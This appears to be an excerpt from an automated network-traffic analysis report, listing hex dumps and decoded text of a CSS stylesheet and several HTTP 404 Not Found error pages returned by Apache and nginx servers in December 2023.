2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 21 2a 5c 0a 20 20 21 2a 2a 2a 20 63 73 73 20 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 63 73 73 2d 6c 6f 61 64 65 72 2f 69 6e 64 65 78 2e 6a 73 3f 3f 63 6c 6f 6e 65 64 52 75 6c 65 53 65 74 2d 36 2e 75 73 65 5b 31 5d 21 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 70 6f 73 74 63 73 73 2d 6c 6f 61 64 65 72 2f 73 72 63 2f 69 6e 64 65 78 2e 6a 73 21 2e 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 2f 6c 65 73 73 2d 6c 6f 61 64 65 72 2f 64 69 73 74 2f 63 6a 73 2e 6a 73 21 2e 2f 62 65 6d 2f 62 6c 6f 63 6b 73 2e 61 64 61 70 74 69 76 65 2f 62 2d 70 61 67 65 2f 62 2d 70 61 67 65 2e 6c 65 73 73 20 2a 2a 2a 21 0a 20 20 5c 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 62 2d 70 61 67 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 35 37 70 78 20 30 20 30 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 33 36 34 33 36 34 3b 66 6f 6e 74 3a 31 32 70 78 20 49 6e 74 65 72 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 48 65 6c 76 65 74 69 63 61 2c 46 72 65 65 53 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:18 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:21 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:24 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:27 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 08 Dec 2023 13:51:42 GMTContent-Type: text/htmlContent-Length: 178Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:48 GMTServer: ApacheContent-Length: 5278Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:50 GMTServer: ApacheContent-Length: 5278Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:53 GMTServer: ApacheContent-Length: 5278Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:51:57 GMTServer: ApacheContent-Length: 5278Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 